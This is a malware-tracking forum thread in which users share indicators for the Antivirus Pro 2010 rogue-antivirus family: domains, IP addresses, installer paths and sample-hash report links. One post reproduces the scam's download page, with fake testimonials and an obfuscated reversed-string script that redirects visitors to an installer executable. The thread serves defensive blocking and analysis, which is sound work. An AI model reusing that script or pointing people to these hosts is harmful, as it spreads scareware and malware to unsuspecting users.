Braviax Family

[Jaxryley]

Code: [Select]

http://uiterbunagoretas.com/1054035
http://qwedasertafoas.com/1054035
http://wervaferganiota.com/1054035
http://nusatorkaleprovis.com/1054035
http://ulibertagolionas.com/1054035
http://buteralksaweda.com/1054035

Code: [Select]

http://ovuioipolak.com/files/pca21/(1).(t)
http://ovuioipolak.com/files/(AVE).(t)
http://ovuioipolak.com/files/(Add).(t)
http://ovuioipolak.com/files/pca21/(GUI).(t)
http://ovuioipolak.com/files/(SC).(t)
http://ovuioipolak.com/files/(Upd).(t)

[Jaxryley]

Code: [Select]

http://nrefadoteskfer.com/p1SEJ0YW2j5Yfd0x3bgB1dd4RG2b
http://alioneferkilo.com/JHs1KY0PIo2RbG5c0H3Osw1T4C2J
http://agodaynsvcbert.com/goc1LRq0yH2pWy5Nlz0tVv3C1yd4vuV2Uu
http://hulieropedaso.com/Sj1Sfs0iO2Bp5jbe0B3VFi1FLG4/F2uy
http://rvertundfertug.com/awP1El0hu/2R5y0iC3BC1U4b2pzb
http://xcuidflofertun.com/o1AkB0Zk2auj5mkm0G3WvB1vxR4lCQ2zat
http://ertubedewse.com/O1Q0k2Z/s5nv0Yyx3R1eE4/2DKB
http://huladopkaert.com/NGU1L0TtD2t/5EI0O3Iv1g4H2gC
http://iobacebauiler.com/qKH1v0OE2fq5qR0tP3yz1Y4msq2e

[Jaxryley]

Code: [Select]

http://hulieropedaso.com/ZEK1F0rz5yhc4lUT0z3R7S/
http://rvertundfertug.com/Yvq1dM0sF5Ck4I0T/3ln7tjG
http://xcuidflofertun.com/ccU1D0s5cQ4Xd0O3Ko7zD
http://ertubedewse.com/IzN1Rf0sN5Y4qFJ0QVe3hLN7E/R
http://huladopkaert.com/cl1JQ0ZXO5N4oip0gpi3IK7xOu
http://iobacebauiler.com/M1N0rBR5T4dDH0vb3hsY7pR
http://ewaxertulio.com/QU1nDP0pf5UkI4rEY0HBk3S7g
http://arosakilomen.com/wbV1o0r/V5Ckp4sp0xU3J7VC
http://osaertugern.com/TH1kI0b5yDN4S0y3WxX7q

Code: [Select]

http://nrefadoteskfer.com/files/pca21/(1).(t)
http://nrefadoteskfer.com/files/(AVE).(t)
http://nrefadoteskfer.com/files/(Add).(t)
http://nrefadoteskfer.com/files/pca21/(GUI).(t)
http://nrefadoteskfer.com/files/(SC).(t)
http://nrefadoteskfer.com/files/(Upd).(t)

[RS-232]

98.126.29.74

hxxp://oscaviolaner.com/files/pca21/(1).(t)
hxxp://oscaviolaner.com/files/(AVE).(t)
hxxp://oscaviolaner.com/files/(Add).(t)
hxxp://oscaviolaner.com/files/pca21/(GUI).(t)
hxxp://oscaviolaner.com/files/(SC).(t)
hxxp://oscaviolaner.com/files/(Upd).(t)

98.126.29.75

hxxp://fedostalonkah.com/files/pca21/(1).(t)
hxxp://fedostalonkah.com/files/(AVE).(t)
hxxp://fedostalonkah.com/files/(Add).(t)
hxxp://fedostalonkah.com/files/pca21/(GUI).(t)
hxxp://fedostalonkah.com/files/(SC).(t)
hxxp://fedostalonkah.com/files/(Upd).(t)

98.126.29.76

hxxp://ftahulabedaso.com/files/pca21/(1).(t)
hxxp://ftahulabedaso.com/files/(AVE).(t)
hxxp://ftahulabedaso.com/files/(Add).(t)
hxxp://ftahulabedaso.com/files/pca21/(GUI).(t)
hxxp://ftahulabedaso.com/files/(SC).(t)
hxxp://ftahulabedaso.com/files/(Upd).(t)

98.126.29.77

hxxp://lopastionertu.com/files/pca21/(1).(t)
hxxp://lopastionertu.com/files/(AVE).(t)
hxxp://lopastionertu.com/files/(Add).(t)
hxxp://lopastionertu.com/files/pca21/(GUI).(t)
hxxp://lopastionertu.com/files/(SC).(t)
hxxp://lopastionertu.com/files/(Upd).(t)

bulakeskatorad.com (98.126.29.78) is already in the list...
According to robtex's ptr records...
http://www.robtex.com/dns/innerpotentialnow.com.html

[Jaxryley]

Code: [Select]

http://ertubredxcong.com/Jz1Ha0id1Ci9j0t4yv8MsB9D
http://itorkadflione.com/O1Tn0byK1aKH9a0afM4om8mwB9/
http://uhajokvfalesko.com/fa1K0SYp1Bt9M0h4oL8Ta9One
http://alertonbgabert.com/Qnc1Gs0id1F9x0UUG4xsY8u9pFq
http://julionejurmon.com/X1pi0Y1Zh9s0Ske4p8pi9bAR
http://ovuiobvipolak.com/OT1O0YLz1T9fC0VaT4fb8X9AH
http://uiskddcuiretog.com/op1Y0LVN1GL9Pu0RwQ4RK8WeT9j
http://pebergenufeska.com/Ifj1oJX0w1W9sT0wM4V8SUs9tU
http://tuhytalesdrf.com/AB1zOc0EM1yl9BY0F4zrl8r9Uis

Code: [Select]

http://ertubredxcong.com/files/avp21/(1).(t)
http://ertubredxcong.com/files/(AVE).(t)
http://ertubredxcong.com/files/(Add).(t)
http://ertubredxcong.com/files/avp21/(GUI).(t)
http://ertubredxcong.com/files/(SC).(t)
http://ertubredxcong.com/files/(Upd).(t)

[cleanmx]

all uniqe md5sums:

http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=7de2f0dc2d313fe1b875f35d97e442d0
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=8b04081484c73101fdf0f7b663f41f56
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=9a55d0088812b1cce81085ca0ee65088
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=ac428526d424ad8cecefc0b1b423f280
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=baa86a04a5fbbae76d09a8431e772d8b
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=d2c5937bac1d0a1fb0adf2c85bec32ba
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=dd82392b2190c23bb9e1083018bf860c
http://support.clean-mx.de/clean-mx/viruses.php?sort=id%20desc&response=alive&md5=f2baf71285ffb06eb36414cd3dad6fa6

[sparsha]

Antivirus Pro 2010 sites

Code: [Select]

Antivirusp2010.com
Antivirusp-2010.com
Avirus2010.com
Antivirus-pro-2010.com

http://ertubredxcong.com/Jz1Ha0id1Ci9j0t4yv8MsB9D

http://elxolisdonave.com/files/avp21_d_/_1_._d_
http://elxolisdonave.com/files/avp21_d_/_1_._d_
http://elxolisdonave.com/files/_AVE_._d_
http://elxolisdonave.com/files/_AVE_._d_
http://elxolisdonave.com/files/_Add_._d_
http://elxolisdonave.com/files/_GUI_._d_
http://elxolisdonave.com/files/_SC_._d_
http://elxolisdonave.com/files/_Upd_._d_
http://elxolisdonave.com/ameexa1019665d60466d7f90899857ef234f1620ee04zdb

[SysAdMini]

Antivirus Pro 2010 sites

I have read your article about it a few minutes ago.

http://sunbeltblog.blogspot.com/2009/09/new-rogue-antivirus-pro-2010.html

[Malware-Web-Threats]

here's the domain for AntivirusPro2010

Code: [Select]

avirus2010.com
antivirusp2010.com
antivirusp-2010.com
antivirus-pro-2010.com
antivirus-pro2010.com
antiviruspro2010.com
antiviruspro-2010.com
a-virus2010.com
a-virus-2010.com
avirus-2010.com
antivirus-p-2010.com
antivirus-p2010.com
also available on the IP directly

Code: [Select]

67.159.32.58
67.159.32.59
67.159.32.60
67.159.32.61
67.159.32.62
204.12.216.2
204.12.216.3
204.12.216.4
204.12.216.5
204.12.216.6
204.12.216.7
204.12.216.8
204.12.216.9
204.12.216.10
204.12.216.11
204.12.216.12
204.12.216.13
204.12.216.14
66.90.103.151


[cleanmx]

lol ... reverse notation...

http://67.159.32.59/download.html?startdownload

Code: [Select]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Antivirus Pro 2010 - Download Now.</title>
<link href="style/style.css" rel="stylesheet" type="text/css" />
</head>
<script>

setTimeout("zqatulue();",5000);

function zqatulue() {
eval(luybdynwnsoce(";'exe.2rellatsnIexe.naelCrellatsnI/rellatsni/4/moc.aksefunegrebep//:ptth' = noitacol"));
}

function luybdynwnsoce(s) {
var result = '';
for (i = (s.length - 1); i >= 0 ; i--) {
result += s.charAt(i);
}
return result;
}
</script>
<body>
<div class="bg_top">
    <div class="head">
        <div class="head_left">
            <div class="head_right">

                <div class="logo">
                    <a href="#" title="Antivirus Pro 2010"></a>
                </div>
                <div class="btn">
                    <a href="buy.html" title="Buy Now"><img src="images/btn_buy_now.gif" alt="Buy Now" /></a>                </div>
              <div class="logo_s"></div>
                <br class="clearall" />
                <div class="h_menu">

                    <ul>
                        <li class="btn1"><a href="index.html" title="Home">Home</a></li>
                      <li class="btn2_a"><a href="download.html" title="Download">Download</a></li>
                        <li class="btn3"><a href="buy.html" title="BuyOnline">BuyOnline</a></li>
                        <li class="btn4"><a href="billing.html" title="BillingSupport">BillingSupport</a></li>
                      <li class="btn5"><a href="support.html" title="CustomerSupport">CustomerSupport</a></li>

                      <br class="clearall" />
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <div class="center">
        <div class="content">
        
          <div class="left_bg">

            <div class="left_bottom">
                
                <div class="right_bg">
                    <div class="right_bottom">
            
                          <div class="left">
                              <div class="left_top">
                                    
                                  <div class="virus_watch">
                                      <ul class="list">
                                          <li>W32.Trojan.Downloader.s</li>

                                          <li>W32.Backdoor.j</li>
                                          <li>Worm.Chernobyl6.a</li>
                                          <li>W32.FileDeleter.E2.b</li>
                                          <li>Worm.Trojan.OfficeWorm.k</li>
                                      </ul>
                                      <ul class="list">
                                          <li>Spyware.Wather.ic</li>

                                          <li>Spyware.CreditCarder.y</li>
                                          <li>Adware.Clicker.P2.e</li>
                                          <li>Adware.TrojanFactory.f</li>
                                          <li>Spyware.Zlob.di</li>
                                      </ul>
                                  </div>
                                  <div class="testimanials">

                                      <div class="testimanials_top"></div>
                                      <p>I surf the web from home a lot, and that's where I am not protected by tech and security guys like in the office. I found that Antivirus Pro 2010 perfectly matches my needs, and I've been a happy user since the first time I installed it. No adware, no popups, nothing like that. <span>Roger K., San-Antonio</span></p>
                                    <p>Being not too computer savvy at all, I still realized I've got to protect myself against all the dangers of modern internet somehow. Antivirus Pro 2010 offered just what I found perfect, a nice load of features wrapped into an easy to understand interface. I've never wanted to find another program for protecting me.<span>Jackson P., self-employed, Florida</span></p>
                                    <p>When I faced the necessity to secure the machines in our office from all the dangers of web surfing, I chose Antivirus Pro 2010 and has had virtually no trouble with it ever since. I'm particular about security, and this solution takes the fuss out of my regular tasks.<span>Sergio S., system administrator, small business</span></p>
                                </div>
                              </div>

                          </div>
                            
                          <div class="right">
                           <div class="download">
                                <div class="right_top">
                                    <div class="left_col">
                                     <div class="download_ico">
                                         <p>Your download should start automatically</p>
                                            <p>Downloads: 11,288,785 times</p>

                                            <p>Requirements: Windows 2000/2K/XP/Vista</p>
                                        </div>
                                        
                                                                      
                                        <div class="download_block">
                                         <p>When you see the File Download box like the one shown below, please click "Open" to start XP AntiSpyware 2009 at once.</p>
                                                                                    <br>
                                            <p><span>If you don't see the File Download box within 5 seconds <a href="/download.html?startdownload">click here</a>.</span></p>

                                            <img src="images/img_download.jpg" />
                                        </div>
                                        
                                        <br>
                                        
                                        <h1>5 reasons to buy Antivirus Pro 2010 now:</h1>
                                        

<div class="textblock">
                                           <h3>Comprehensive anti-spyware solution</h3>
                       <p>Antivirus Pro 2010 will turn your computer into a safe, well-guarded place. The removal module will clean your system from all the previous infections while the monitor will make sure no spyware gets into your PC ever again. Combine that with a constantly growing spyware database, and you have nothing to worry about.</p>

                           </div>
             <div class="textblock">
                                           <h3>Advanced, highly efficient technology</h3>
                       <p>Backed up by years of research and huge software development and computer security experience, Antivirus Pro 2010 employs all the latest technologies of the sphere. Antivirus Pro 2010 puts all the latest industry developments into one tool which lets you feel safe and well-guarded.</p>
                           </div>
             <div class="textblock">
                                           <h3>Friendly interface and support</h3>

                       <p>We have developed Antivirus Pro 2010 with your needs in mind. Flawless user experience is our top priority, that is why Antivirus Pro 2010 is perfectly easy to use even with little PC knowledge. Our friendly, highly efficient customer support department is always there to solve your problems and provide expert advice on combating malware. This is a software product built to protect you without major effort from your part.</p>
                           </div>
             <div class="textblock">
                                           <h3>Regular updates and improvements</h3>
                       <p>We understand that in the world of PC security it is crucial to keep up with the frequent changes of the situation. There is no way Antivirus Pro 2010 will lag behind letting newfangled spyware types avoid detection and removal. Issuing updates which improve the program's functionality and adding new spyware types into the database as they emerge, we make sure Antivirus Pro 2010 always stays powerful.</p>
                           </div>
             <div class="textblock">

                                           <h3>Money back guarantee</h3>
                       <p>We want Antivirus Pro 2010 to be your convenient, cost-efficient PC security solution. Whether you intend to further use your copy of the program or not, we place customer satisfaction at the top of the list of priorities. In case you would like to have your money back for any good reason, let us know. We will settle it though we recommend checking out Antivirus Pro 2010 in action first.</p>
                           </div>                                


                                  </div>
                                    <div class="right_col">
                                     <div class="top"><img src="images/awards.gif" /></div>
                                        <div class="baners">
                                         <a href="#" title="#"><img src="images/baner1.gif" /></a><a href="#" title="#"><img src="images/baner2.gif" /></a><a href="#" title="#"><img src="images/baner3.gif" /></a><a href="#" title="#"><img src="images/baner4.gif" /></a><a href="#" title="#"><img src="images/baner5.gif" /></a>

                                        </div>
                                    </div>
                                    <br class="clearall" />
                                </div>
                            </div>
                          </div>
                          <br class="clearall" />
                          
                          <div class="bottom">
                          
                           <div class="bottom_menu">

                                <ul>
                                    <li class=""><a href="index.html" title="Home">Home</a></li>
                                    <li class="on"><a href="download.html" title="Download">Download</a></li>
                                    <li class=""><a href="buy.html" title="BuyOnline">BuyOnline</a></li>
                                    <li class=""><a href="billing.html" title="BillingSupport">BillingSupport</a></li>
                                    <li class=""><a href="support.html" title="CustomerSupport">CustomerSupport</a></li>

                                </ul>
                            </div>
                            <p class="copy">&copy; Copyright 1999-2008  XP AntiSpyware 2009.com . All rights reserved.</p>
                            <div class="bottom_logo">
                                <a href="#" title="Antivirus Pro 2010"></a>
                 </div>
                            <br class="clearall" />
                            
                          </div>

                          
                      </div>
                  </div>
                  
              </div>
          </div>
            
        </div>
    </div>
</div>
</body>
</html>


[Malware-Web-Threats]

a few more

Code: [Select]

avpro2010.com
av-pro2010.com

the support page:

Code: [Select]

pro-premiumsupport.com
propremium-support.com
propremiumsupport.com
67.159.32.130
67.159.32.131
67.159.32.132
67.159.32.133
67.159.32.134
66.90.103.152

[Jaxryley]

Code: [Select]

http://ertubedewse.com/Joi1Wc1s0Mfm1K0FnO3fF5GOc
http://huladopkaert.com/sn1IBE1G0w/1IQx0dt3yP5ARR
http://iobacebauiler.com/G1IxB1nD0fc1mua0XmH3t5U
http://ewaxertulio.com/lE1fJn1W0U1y0rb3FVw5RzN
http://arosakilomen.com/p1/Tj1FNn0Cw1d0woM3SiY5s
http://osaertugern.com/fI1qY1pzW0yTQ1bjY0f3m5oV
http://koliopewaqs.com/cH1ZkP1IPR0R1sC0Q3wAH5Y
http://kasonkertub.com/Qiv1q1wCD0p1EFJ0Q3Se5NAg
http://tahulavumbak.com/NTE1IH1NE0KF1QB0ri3SQ5W

[Malware-Web-Threats]

a few more from this family that are online

Code: [Select]

agodaynsbert.com
agodaynsvcbert.com
alertonbgabert.com
alioneferkilo.com
alionerkilo.com
buhervadoska.com
bulakeskatorad.com
ertubedewse.com
ertubredxcong.com
gosalerbas.com
huladopkaert.com
hulieropedaso.com
iobacebauiler.com
itorkadflione.com
julionejurmon.com
lionaserduma.com
nosatorabumb.com
nrefadoteskfer.com
numbergatoriosso.com
olafeskanotiro.com
onagerfadusak.com
onagerfadusak.com
oretoderfat.com
ovkanubergan.com
ovuiobvipolak.com
pebergenufeska.com
rdafervacex.com
retrobaziliona.com
rundaqimao.com
sammyboydeals.com
shuncheng2car.com
tarhujelafert.com
tarhujelafert.com
tiondapulkat.com
tuhytalerf.com
tuhytalesdrf.com
uhajokvfalesko.com
uiskddcuiretog.com
uiskduiretog.com
upinosatoretr.com
utionakertu.com
vulisandoratosa.com
wertagulionaders.com

URLs:

/1/installer/Installer.exe
/2/installer/Installer.exe
/3/installer/Installer.exe
/1/installer/InstallerClean.exe
/2/installer/InstallerClean.exe
/3/installer/InstallerClean.exe

[Jaxryley]

Code: [Select]

http://kolinhopewaqs.com/or1y0mul1vn9xp0fJS4ia9z5oxw
http://kasongskertub.com/P1TV0Twf1V9sX0Ju4wf9CsZ5Wkx
http://tahulavubgmbak.com/YU1vc0WK1qH9h0qss4AGX9sIO5v
http://elxolisdonave.com/lIO1dmd0JU1sVF9agS0lg4L9n5YNv
http://nulcdiborkawer.com/kb1a/0A1yFJ9j0lO4oyh9Y5MpL
http://lionglenhrvoa.com/dY1u0tL1mE9sA0cdv4pUR9v5qbE
http://buhervadonuska.com/N1DbK0DMd1qq9cZC0srQ4VD9Nr5psI
http://rdafergfvacex.com/II1q0lep1WQN9qU0hr4/X9RLt5w
http://afedodevascevo.com/NnK1Wxn0oE1TEI9en0fL4bM9x5i

Code: [Select]

http://kolinhopewaqs.com/files/avp21_d_/_1_._d_
http://kolinhopewaqs.com/files/_AVE_._d_
http://kolinhopewaqs.com/files/_Add_._d_
http://kolinhopewaqs.com/files/_GUI_._d_
http://kolinhopewaqs.com/files/_SC_._d_
http://kolinhopewaqs.com/files/_Upd_._d_

[Malware-Web-Threats]

Code: [Select]

afedodevascevo.com
buhervadonuska.com
elxolisdonave.com
kasongskertub.com
lionglenhrvoa.com
nulcdiborkawer.com
rdafergfvacex.com
tahulavubgmbak.com

available URLs:

/1/installer/Installer.exe
/2/installer/Installer.exe
/3/installer/Installer.exe
/1/installer/InstallerClean.exe
/2/installer/InstallerClean.exe
/3/installer/InstallerClean.exe

http://www.threatexpert.com/report.aspx?md5=f8502d40302da65d5b08fd92cdbb7212